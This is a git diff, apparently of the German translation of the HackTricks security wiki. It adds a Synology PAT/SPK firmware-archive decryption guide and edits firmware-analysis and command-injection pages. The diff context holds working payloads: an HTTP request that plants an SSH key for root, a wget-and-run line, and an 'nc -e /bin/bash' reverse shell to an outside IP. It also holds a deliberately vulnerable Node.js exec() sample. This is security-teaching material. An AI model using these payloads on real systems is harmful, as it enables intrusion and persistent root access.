Translated ['src/hardware-physical-access/firmware-analysis/README.md',

2025-10-10 18:36:50 +00:00 · 2025-08-13 22:35:43 +00:00 · 2025-08-13 22:35:43 +00:00 · 8dfc571a7b
commit 8dfc571a7b
parent acc8b9d48c
4 changed files with 212 additions and 19 deletions
--- a/src/SUMMARY.md
+++ b/src/SUMMARY.md
@ -769,6 +769,7 @@
  - [Ret2vDSO](binary-exploitation/rop-return-oriented-programing/ret2vdso.md)
  - [SROP - Sigreturn-Oriented Programming](binary-exploitation/rop-return-oriented-programing/srop-sigreturn-oriented-programming/README.md)
    - [SROP - ARM64](binary-exploitation/rop-return-oriented-programing/srop-sigreturn-oriented-programming/srop-arm64.md)
+  - [Synology Encrypted Archive Decryption](hardware-physical-access/firmware-analysis/synology-encrypted-archive-decryption.md)
 - [Array Indexing](binary-exploitation/array-indexing.md)
 - [Chrome Exploiting](binary-exploitation/chrome-exploiting.md)
 - [Integer Overflow](binary-exploitation/integer-overflow.md)
--- a/src/hardware-physical-access/firmware-analysis/README.md
+++ b/src/hardware-physical-access/firmware-analysis/README.md
@ -4,6 +4,12 @@

 ## **Einführung**

+### Verwandte Ressourcen
+
+{{#ref}}
+synology-encrypted-archive-decryption.md
+{{#endref}}
+
 Firmware ist essentielle Software, die es Geräten ermöglicht, korrekt zu funktionieren, indem sie die Kommunikation zwischen den Hardwarekomponenten und der Software, mit der die Benutzer interagieren, verwaltet und erleichtert. Sie wird im permanenten Speicher gespeichert, sodass das Gerät von dem Moment an, in dem es eingeschaltet wird, auf wichtige Anweisungen zugreifen kann, was zum Start des Betriebssystems führt. Die Untersuchung und potenzielle Modifikation der Firmware ist ein kritischer Schritt zur Identifizierung von Sicherheitsanfälligkeiten.

 ## **Informationsbeschaffung**
@ -28,7 +34,7 @@ Der Erwerb von Firmware kann auf verschiedene Weise erfolgen, jede mit ihrem eig
 - **Direkt** von der Quelle (Entwickler, Hersteller)
 - **Bauen** aus bereitgestellten Anweisungen
 - **Herunterladen** von offiziellen Support-Seiten
- Nutzung von **Google-Dork**-Abfragen, um gehostete Firmware-Dateien zu finden
+- Nutzung von **Google-Dork**-Abfragen zur Auffindung gehosteter Firmware-Dateien
 - Direkter Zugriff auf **Cloud-Speicher** mit Tools wie [S3Scanner](https://github.com/sa7mon/S3Scanner)
 - Abfangen von **Updates** über Man-in-the-Middle-Techniken
 - **Extrahieren** vom Gerät über Verbindungen wie **UART**, **JTAG** oder **PICit**
@ -48,7 +54,7 @@ hexdump -C -n 512 <bin> > hexdump.out
 hexdump -C <bin> | head # might find signatures in header
 fdisk -lu <bin> #lists a drives partition and filesystems if multiple
 ```
-Wenn Sie mit diesen Tools nicht viel finden, überprüfen Sie die **Entropie** des Bildes mit `binwalk -E <bin>`. Bei niedriger Entropie ist es unwahrscheinlich, dass es verschlüsselt ist. Bei hoher Entropie ist es wahrscheinlich verschlüsselt (oder auf irgendeine Weise komprimiert).
+Wenn Sie mit diesen Tools nicht viel finden, überprüfen Sie die **Entropie** des Bildes mit `binwalk -E <bin>`. Wenn die Entropie niedrig ist, ist es unwahrscheinlich, dass es verschlüsselt ist. Bei hoher Entropie ist es wahrscheinlich verschlüsselt (oder auf irgendeine Weise komprimiert).

 Darüber hinaus können Sie diese Tools verwenden, um **Dateien, die in der Firmware eingebettet sind**, zu extrahieren:

@ -91,7 +97,7 @@ Alternativ kann auch der folgende Befehl ausgeführt werden.

 `$ dd if=DIR850L_REVB.bin bs=1 skip=$((0x1A0094)) of=dir.squashfs`

- Für squashfs (wie im obigen Beispiel verwendet)
+- Für squashfs (im obigen Beispiel verwendet)

 `$ unsquashfs dir.squashfs`

@ -128,11 +134,11 @@ fdisk -lu <bin> #lists partitions and filesystems, if there are multiple
 ```
 Um den Verschlüsselungsstatus des Images zu bewerten, wird die **Entropie** mit `binwalk -E <bin>` überprüft. Eine niedrige Entropie deutet auf einen Mangel an Verschlüsselung hin, während eine hohe Entropie auf mögliche Verschlüsselung oder Kompression hinweist.

-Für das Extrahieren von **eingebetteten Dateien** werden Werkzeuge und Ressourcen wie die Dokumentation zu **file-data-carving-recovery-tools** und **binvis.io** zur Dateiansicht empfohlen.
+Für das Extrahieren von **eingebetteten Dateien** werden Werkzeuge und Ressourcen wie die **file-data-carving-recovery-tools** Dokumentation und **binvis.io** zur Dateiansicht empfohlen.

 ### Extrahieren des Dateisystems

-Mit `binwalk -ev <bin>` kann man normalerweise das Dateisystem extrahieren, oft in ein Verzeichnis, das nach dem Dateisystemtyp benannt ist (z. B. squashfs, ubifs). Wenn **binwalk** jedoch den Dateisystemtyp aufgrund fehlender Magic Bytes nicht erkennt, ist eine manuelle Extraktion erforderlich. Dies beinhaltet die Verwendung von `binwalk`, um den Offset des Dateisystems zu lokalisieren, gefolgt vom `dd`-Befehl, um das Dateisystem herauszuschneiden:
+Mit `binwalk -ev <bin>` kann man normalerweise das Dateisystem extrahieren, oft in ein Verzeichnis, das nach dem Dateisystemtyp benannt ist (z. B. squashfs, ubifs). Wenn **binwalk** jedoch den Dateisystemtyp aufgrund fehlender Magic Bytes nicht erkennt, ist eine manuelle Extraktion erforderlich. Dies beinhaltet die Verwendung von `binwalk`, um den Offset des Dateisystems zu lokalisieren, gefolgt vom `dd` Befehl, um das Dateisystem herauszuschneiden:
 ```bash
 $ binwalk DIR850L_REVB.bin

@ -164,7 +170,7 @@ Sowohl Quellcode als auch kompilierte Binärdateien, die im Dateisystem gefunden

 ## Emulation von Firmware für dynamische Analysen

-Der Prozess der Emulation von Firmware ermöglicht **dynamische Analysen** entweder des Betriebs eines Geräts oder eines einzelnen Programms. Dieser Ansatz kann auf Herausforderungen mit Hardware- oder Architekturabhängigkeiten stoßen, aber das Übertragen des Root-Dateisystems oder spezifischer Binärdateien auf ein Gerät mit passender Architektur und Endianness, wie z. B. einem Raspberry Pi, oder auf eine vorgefertigte virtuelle Maschine, kann weitere Tests erleichtern.
+Der Prozess der Emulation von Firmware ermöglicht die **dynamische Analyse** entweder des Betriebs eines Geräts oder eines einzelnen Programms. Dieser Ansatz kann auf Herausforderungen mit Hardware- oder Architekturabhängigkeiten stoßen, aber das Übertragen des Root-Dateisystems oder spezifischer Binärdateien auf ein Gerät mit passender Architektur und Endianness, wie einem Raspberry Pi, oder auf eine vorgefertigte virtuelle Maschine, kann weitere Tests erleichtern.

 ### Emulation einzelner Binärdateien

@ -208,33 +214,33 @@ Betriebssysteme wie [AttifyOS](https://github.com/adi0x90/attifyos) und [EmbedOS

 ## Vorbereitete OSs zur Analyse von Firmware

- [**AttifyOS**](https://github.com/adi0x90/attifyos): AttifyOS ist eine Distribution, die Ihnen hilft, Sicherheitsbewertungen und Penetrationstests von Internet of Things (IoT)-Geräten durchzuführen. Es spart Ihnen viel Zeit, indem es eine vorkonfigurierte Umgebung mit allen notwendigen Tools bereitstellt.
+- [**AttifyOS**](https://github.com/adi0x90/attifyos): AttifyOS ist eine Distribution, die Ihnen helfen soll, Sicherheitsbewertungen und Penetrationstests von Internet of Things (IoT)-Geräten durchzuführen. Es spart Ihnen viel Zeit, indem es eine vorkonfigurierte Umgebung mit allen notwendigen Tools bereitstellt.
 - [**EmbedOS**](https://github.com/scriptingxss/EmbedOS): Eingebettetes Sicherheitstestbetriebssystem basierend auf Ubuntu 18.04, vorinstalliert mit Tools für die Sicherheitstests von Firmware.

 ## Firmware-Downgrade-Angriffe & Unsichere Aktualisierungsmechanismen

-Selbst wenn ein Anbieter kryptografische Signaturprüfungen für Firmware-Images implementiert, **wird der Schutz vor Versionsrücksetzungen (Downgrade) häufig weggelassen**. Wenn der Boot- oder Wiederherstellungs-Loader nur die Signatur mit einem eingebetteten öffentlichen Schlüssel überprüft, aber die *Version* (oder einen monotonen Zähler) des geflashten Images nicht vergleicht, kann ein Angreifer legitim eine **ältere, anfällige Firmware installieren, die immer noch eine gültige Signatur trägt** und somit gepatchte Schwachstellen wieder einführen.
+Selbst wenn ein Anbieter kryptografische Signaturprüfungen für Firmware-Images implementiert, **wird der Schutz vor Versionsrücksetzungen (Downgrade) häufig weggelassen**. Wenn der Boot- oder Wiederherstellungs-Loader nur die Signatur mit einem eingebetteten öffentlichen Schlüssel überprüft, aber die *Version* (oder einen monotonen Zähler) des geflashten Images nicht vergleicht, kann ein Angreifer legitim eine **ältere, verwundbare Firmware installieren, die immer noch eine gültige Signatur trägt** und somit gepatchte Schwachstellen wieder einführen.

 Typischer Angriffsablauf:

 1. **Erhalten Sie ein älteres signiertes Image**
-* Laden Sie es von dem öffentlichen Download-Portal des Anbieters, CDN oder Support-Website herunter.
+* Laden Sie es von dem öffentlichen Download-Portal, CDN oder Support-Website des Anbieters herunter.
 * Extrahieren Sie es aus begleitenden mobilen/desktopp Anwendungen (z. B. innerhalb einer Android-APK unter `assets/firmware/`).
 * Holen Sie es aus Drittanbieter-Repositories wie VirusTotal, Internet-Archiven, Foren usw.
 2. **Laden Sie das Image auf das Gerät hoch oder stellen Sie es bereit** über einen beliebigen exponierten Aktualisierungskanal:
 * Web-UI, mobile-App-API, USB, TFTP, MQTT usw.
 * Viele Verbraucher-IoT-Geräte bieten *unauthentifizierte* HTTP(S)-Endpunkte, die Base64-kodierte Firmware-Blobs akzeptieren, diese serverseitig decodieren und die Wiederherstellung/Aktualisierung auslösen.
-3. Nach dem Downgrade eine Schwachstelle ausnutzen, die in der neueren Version gepatcht wurde (zum Beispiel einen Befehlseinschlussfilter, der später hinzugefügt wurde).
+3. Nach dem Downgrade eine Schwachstelle ausnutzen, die in der neueren Version gepatcht wurde (zum Beispiel einen Befehlseinschleusungsfilter, der später hinzugefügt wurde).
 4. Optional das neueste Image zurückflashen oder Updates deaktivieren, um eine Entdeckung zu vermeiden, sobald Persistenz erreicht ist.

-### Beispiel: Befehlseinschluss nach Downgrade
+### Beispiel: Befehlseinschleusung nach Downgrade
 ```http
 POST /check_image_and_trigger_recovery?md5=1; echo 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC...' >> /root/.ssh/authorized_keys HTTP/1.1
 Host: 192.168.0.1
 Content-Type: application/octet-stream
 Content-Length: 0
 ```
-In der verwundbaren (heruntergestuften) Firmware wird der `md5`-Parameter direkt in einen Shell-Befehl ohne Sanitärbehandlung verkettet, was die Injektion beliebiger Befehle ermöglicht (hier – Aktivierung des SSH-Schlüssels für den Root-Zugriff). Spätere Firmware-Versionen führten einen grundlegenden Zeichenfilter ein, aber das Fehlen eines Downgrade-Schutzes macht die Lösung bedeutungslos.
+Im anfälligen (heruntergestuften) Firmware wird der `md5`-Parameter direkt in einen Shell-Befehl ohne Sanitärmaßnahmen eingefügt, was die Injektion beliebiger Befehle ermöglicht (hier – Aktivierung des SSH-Schlüssel-basierten Root-Zugriffs). Spätere Firmware-Versionen führten einen grundlegenden Zeichenfilter ein, aber das Fehlen eines Downgrade-Schutzes macht die Lösung bedeutungslos.

 ### Extrahieren von Firmware aus mobilen Apps

@ -248,11 +254,11 @@ firmware_v1.3.11.490_signed.bin

 * Ist der Transport/Authentifizierung des *Update-Endpunkts* angemessen geschützt (TLS + Authentifizierung)?
 * Vergleicht das Gerät **Versionsnummern** oder einen **monotonen Anti-Rollback-Zähler** vor dem Flashen?
-* Wird das Image innerhalb einer sicheren Boot-Kette verifiziert (z.B. Signaturen, die vom ROM-Code überprüft werden)?
-* Führt der Userland-Code zusätzliche Plausibilitätsprüfungen durch (z.B. erlaubte Partitionstabelle, Modellnummer)?
-* Nutzen *partielle* oder *Backup*-Update-Flows die gleiche Validierungslogik?
+* Wird das Image innerhalb einer sicheren Bootkette verifiziert (z. B. Signaturen, die vom ROM-Code überprüft werden)?
+* Führt der Userland-Code zusätzliche Plausibilitätsprüfungen durch (z. B. erlaubte Partitionstabelle, Modellnummer)?
+* Nutzen *partielle* oder *Backup*-Update-Workflows die gleiche Validierungslogik?

-> 💡  Wenn eines der oben genannten fehlt, ist die Plattform wahrscheinlich anfällig für Rollback-Angriffe.
+> 💡  Wenn eines der oben genannten Punkte fehlt, ist die Plattform wahrscheinlich anfällig für Rollback-Angriffe.

 ## Verwundbare Firmware zum Üben

@ -277,7 +283,7 @@ Um das Entdecken von Schwachstellen in Firmware zu üben, verwenden Sie die folg
 - [Practical IoT Hacking: The Definitive Guide to Attacking the Internet of Things](https://www.amazon.co.uk/Practical-IoT-Hacking-F-Chantzis/dp/1718500904)
 - [Exploiting zero days in abandoned hardware – Trail of Bits blog](https://blog.trailofbits.com/2025/07/25/exploiting-zero-days-in-abandoned-hardware/)

-## Training und Zertifizierung
+## Schulung und Zertifizierung

 - [https://www.attify-store.com/products/offensive-iot-exploitation](https://www.attify-store.com/products/offensive-iot-exploitation)

--- a/src/hardware-physical-access/firmware-analysis/synology-encrypted-archive-decryption.md
+++ b/src/hardware-physical-access/firmware-analysis/synology-encrypted-archive-decryption.md
@ -0,0 +1,162 @@
+# Synology PAT/SPK Encrypted Archive Decryption
+
+{{#include ../../banners/hacktricks-training.md}}
+
+## Übersicht
+
+Mehrere Synology-Geräte (DSM/BSM NAS, BeeStation, …) verteilen ihre Firmware- und Anwendungs-Pakete in **verschlüsselten PAT / SPK Archiven**. Diese Archive können *offline* nur mit den öffentlichen Download-Dateien entschlüsselt werden, dank der in den offiziellen Extraktionsbibliotheken eingebetteten, fest codierten Schlüssel.
+
+Diese Seite dokumentiert Schritt für Schritt, wie das verschlüsselte Format funktioniert und wie man den klaren **TAR**-Inhalt, der in jedem Paket enthalten ist, vollständig wiederherstellt. Das Verfahren basiert auf der Forschung von Synacktiv, die während Pwn2Own Irland 2024 durchgeführt wurde, und wurde im Open-Source-Tool [`synodecrypt`](https://github.com/synacktiv/synodecrypt) implementiert.
+
+> ⚠️  Das Format ist für sowohl `*.pat` (Systemupdate) als auch `*.spk` (Anwendung) Archive genau dasselbe – sie unterscheiden sich nur im Paar der ausgewählten fest codierten Schlüssel.
+
+---
+
+## 1. Archiv herunterladen
+
+Das Firmware-/Anwendungsupdate kann normalerweise von Synologys öffentlichem Portal heruntergeladen werden:
+```bash
+$ wget https://archive.synology.com/download/Os/BSM/BSM_BST150-4T_65374.pat
+```
+## 2. Dumpen Sie die PAT-Struktur (optional)
+
+`*.pat`-Images sind selbst ein **cpio-Bundle**, das mehrere Dateien (Bootloader, Kernel, rootfs, Pakete…) einbettet. Das kostenlose Tool [`patology`](https://github.com/sud0woodo/patology) ist praktisch, um diese Hülle zu inspizieren:
+```bash
+$ python3 patology.py --dump -i BSM_BST150-4T_65374.pat
+[…]
+$ ls
+DiskCompatibilityDB.tar  hda1.tgz  rd.bin  packages/  …
+```
+Für `*.spk` können Sie direkt zu Schritt 3 springen.
+
+## 3. Extrahieren Sie die Synology-Extraktionsbibliotheken
+
+Die eigentliche Entschlüsselungslogik befindet sich in:
+
+* `/usr/syno/sbin/synoarchive`               → Haupt-CLI-Wrapper
+* `/usr/lib/libsynopkg.so.1`                 → ruft den Wrapper aus der DSM-Benutzeroberfläche auf
+* `libsynocodesign.so`                       → **enthält die kryptografische Implementierung**
+
+Beide Binärdateien sind im System-Rootfs (`hda1.tgz`) **und** im komprimierten init-rd (`rd.bin`) vorhanden. Wenn Sie nur das PAT haben, können Sie sie auf diese Weise erhalten:
+```bash
+# rd.bin is LZMA-compressed CPIO
+$ lzcat rd.bin | cpio -id 2>/dev/null
+$ file usr/lib/libsynocodesign.so
+usr/lib/libsynocodesign.so: ELF 64-bit LSB shared object, ARM aarch64, …
+```
+## 4. Wiederherstellung der fest codierten Schlüssel (`get_keys`)
+
+Innerhalb von `libsynocodesign.so` gibt die Funktion `get_keys(int keytype)` einfach zwei 128-Bit globale Variablen für die angeforderte Archivfamilie zurück:
+```c
+case 0:            // PAT (system)
+case 10:
+case 11:
+signature_key = qword_23A40;
+master_key    = qword_23A68;
+break;
+
+case 3:            // SPK (applications)
+signature_key = qword_23AE0;
+master_key    = qword_23B08;
+break;
+```
+* **signature_key** → Ed25519-Öffentlicher Schlüssel, der verwendet wird, um den Archiv-Header zu verifizieren.
+* **master_key**    → Wurzel-Schlüssel, der verwendet wird, um den pro-Archiv-Verschlüsselungsschlüssel abzuleiten.
+
+Sie müssen diese beiden Konstanten nur einmal für jede DSM-Hauptversion dumpen.
+
+## 5. Headerstruktur & Signaturverifizierung
+
+`synoarchive_open()` → `support_format_synoarchive()` → `archive_read_support_format_synoarchive()` führt Folgendes aus:
+
+1. Lese Magic (3 Bytes) `0xBFBAAD` **oder** `0xADBEEF`.
+2. Lese little-endian 32-Bit `header_len`.
+3. Lese `header_len` Bytes + die nächsten **0x40-Byte Ed25519-Signatur**.
+4. Iteriere über alle eingebetteten öffentlichen Schlüssel, bis `crypto_sign_verify_detached()` erfolgreich ist.
+5. Dekodiere den Header mit **MessagePack**, was ergibt:
+```python
+[
+data: bytes,
+entries: [ [size: int, sha256: bytes], … ],
+archive_description: bytes,
+serial_number: [bytes],
+not_valid_before: int
+]
+```
+`entries` ermöglicht es libarchive später, jede Datei während der Entschlüsselung auf Integrität zu überprüfen.
+
+## 6. Leiten Sie den pro-Archiv Unter-Schlüssel ab
+
+Aus dem `data` Blob, das im MessagePack-Header enthalten ist:
+
+* `subkey_id`  = little-endian `uint64` bei Offset 0x10
+* `ctx`        = 7 Bytes bei Offset 0x18
+
+Der 32-Byte **Stream-Schlüssel** wird mit libsodium erhalten:
+```c
+crypto_kdf_derive_from_key(kdf_subkey, 32, subkey_id, ctx, master_key);
+```
+## 7. Synologys benutzerdefinierter **libarchive**-Backend
+
+Synology bündelt ein gepatchtes libarchive, das ein gefälschtes "tar"-Format registriert, wann immer das Magic `0xADBEEF` ist:
+```c
+register_format(
+"tar", spk_bid, spk_options,
+spk_read_header, spk_read_data, spk_read_data_skip,
+NULL, spk_cleanup, NULL, NULL);
+```
+### spk_read_header()
+```
+- Read 0x200 bytes
+- nonce  = buf[0:0x18]
+- cipher = buf[0x18:0x18+0x193]
+- crypto_secretstream_xchacha20poly1305_init_pull(state, nonce, kdf_subkey)
+- crypto_secretstream_xchacha20poly1305_pull(state, tar_hdr, …, cipher, 0x193)
+```
+Der entschlüsselte `tar_hdr` ist ein **klassischer POSIX TAR-Header**.
+
+### spk_read_data()
+```
+while (remaining > 0):
+chunk_len = min(0x400000, remaining) + 0x11   # +tag
+buf   = archive_read_ahead(chunk_len)
+crypto_secretstream_xchacha20poly1305_pull(state, out, …, buf, chunk_len)
+remaining -= chunk_len - 0x11
+```
+Jeder **0x18-Byte-Nonce** wird dem verschlüsselten Chunk vorangestellt.
+
+Sobald alle Einträge verarbeitet sind, erzeugt libarchive ein vollkommen gültiges **`.tar`**, das mit jedem Standardwerkzeug entpackt werden kann.
+
+## 8. Alles mit synodecrypt entschlüsseln
+```bash
+$ python3 synodecrypt.py SynologyPhotos-rtd1619b-1.7.0-0794.spk
+[+] found matching keys (SPK)
+[+] header signature verified
+[+] 104 entries
+[+] archive successfully decrypted → SynologyPhotos-rtd1619b-1.7.0-0794.tar
+
+$ tar xf SynologyPhotos-rtd1619b-1.7.0-0794.tar
+```
+`synodecrypt` erkennt automatisch PAT/SPK, lädt die richtigen Schlüssel und wendet die oben beschriebene vollständige Kette an.
+
+## 9. Häufige Fallstricke
+
+* Tauschen Sie **nicht** `signature_key` und `master_key` – sie dienen unterschiedlichen Zwecken.
+* Die **nonce** kommt *vor* dem Chiffretext für jeden Block (Header und Daten).
+* Die maximale Größe des verschlüsselten Chunks beträgt **0x400000 + 0x11** (libsodium-Tag).
+* Archive, die für eine DSM-Generation erstellt wurden, können in der nächsten Version zu anderen fest codierten Schlüsseln wechseln.
+
+## 10. Zusätzliche Werkzeuge
+
+* [`patology`](https://github.com/sud0woodo/patology) – PAT-Archive parsen/dumpen.
+* [`synodecrypt`](https://github.com/synacktiv/synodecrypt) – PAT/SPK/andere entschlüsseln.
+* [`libsodium`](https://github.com/jedisct1/libsodium) – Referenzimplementierung von XChaCha20-Poly1305 secretstream.
+* [`msgpack`](https://msgpack.org/) – Header-Serialisierung.
+
+## Referenzen
+
+- [Extraction of Synology encrypted archives – Synacktiv (Pwn2Own IE 2024)](https://www.synacktiv.com/publications/extraction-des-archives-chiffrees-synology-pwn2own-irlande-2024.html)
+- [synodecrypt on GitHub](https://github.com/synacktiv/synodecrypt)
+- [patology on GitHub](https://github.com/sud0woodo/patology)
+
+{{#include ../../banners/hacktricks-training.md}}
--- a/src/pentesting-web/command-injection.md
+++ b/src/pentesting-web/command-injection.md
@ -37,7 +37,7 @@ Wenn Sie versuchen, **willkürliche Befehle auf einer Linux-Maschine auszuführe
 ../linux-hardening/bypass-bash-restrictions/
 {{#endref}}

-### **Beispiele**
+### **Examples**
 ```
 vuln=127.0.0.1 %0a wget https://web.es/reverse.txt -O /tmp/reverse.php %0a php /tmp/reverse.php
 vuln=127.0.0.1%0anohup nc -e /bin/bash 51.15.192.49 80
@ -87,7 +87,7 @@ real    0m0.002s
 user    0m0.000s
 sys 0m0.000s
 ```
-### DNS-basierte Datenexfiltration
+### DNS basierte Datenexfiltration

 Basierend auf dem Tool von `https://github.com/HoLyVieR/dnsbin`, das auch unter dnsbin.zhack.ca gehostet wird.
 ```
@ -117,6 +117,28 @@ powershell C:**2\n??e*d.*? # notepad
 ../linux-hardening/bypass-bash-restrictions/
 {{#endref}}

+### Node.js `child_process.exec` vs `execFile`
+
+Beim Auditing von JavaScript/TypeScript-Back-Ends werden Sie häufig auf die Node.js `child_process` API stoßen.
+```javascript
+// Vulnerable: user-controlled variables interpolated inside a template string
+const { exec } = require('child_process');
+exec(`/usr/bin/do-something --id_user ${id_user} --payload '${JSON.stringify(payload)}'`, (err, stdout) => {
+/* … */
+});
+```
+`exec()` startet eine **Shell** (`/bin/sh -c`), daher führt jedes Zeichen, das eine spezielle Bedeutung für die Shell hat (Backticks, `;`, `&&`, `|`, `$()`, …), zu **Command Injection**, wenn Benutzereingaben in den String verkettet werden.
+
+**Minderung:** Verwenden Sie `execFile()` (oder `spawn()` ohne die `shell`-Option) und geben Sie **jedes Argument als separates Array-Element** an, sodass keine Shell beteiligt ist:
+```javascript
+const { execFile } = require('child_process');
+execFile('/usr/bin/do-something', [
+'--id_user', id_user,
+'--payload', JSON.stringify(payload)
+]);
+```
+Echtweltfall: *Synology Photos* ≤ 1.7.0-0794 war über ein nicht authentifiziertes WebSocket-Ereignis ausnutzbar, das von Angreifern kontrollierte Daten in `id_user` einfügte, die später in einem `exec()`-Aufruf eingebettet wurden, was RCE erreichte (Pwn2Own Irland 2024).
+
 ## Brute-Force-Erkennungsliste

 {{#ref}}
@ -125,7 +147,9 @@ https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/command_inject

 ## Referenzen

+- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection)
 - [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection)
 - [https://portswigger.net/web-security/os-command-injection](https://portswigger.net/web-security/os-command-injection)
+- [Extraction of Synology encrypted archives – Synacktiv 2025](https://www.synacktiv.com/publications/extraction-des-archives-chiffrees-synology-pwn2own-irlande-2024.html)

 {{#include ../banners/hacktricks-training.md}}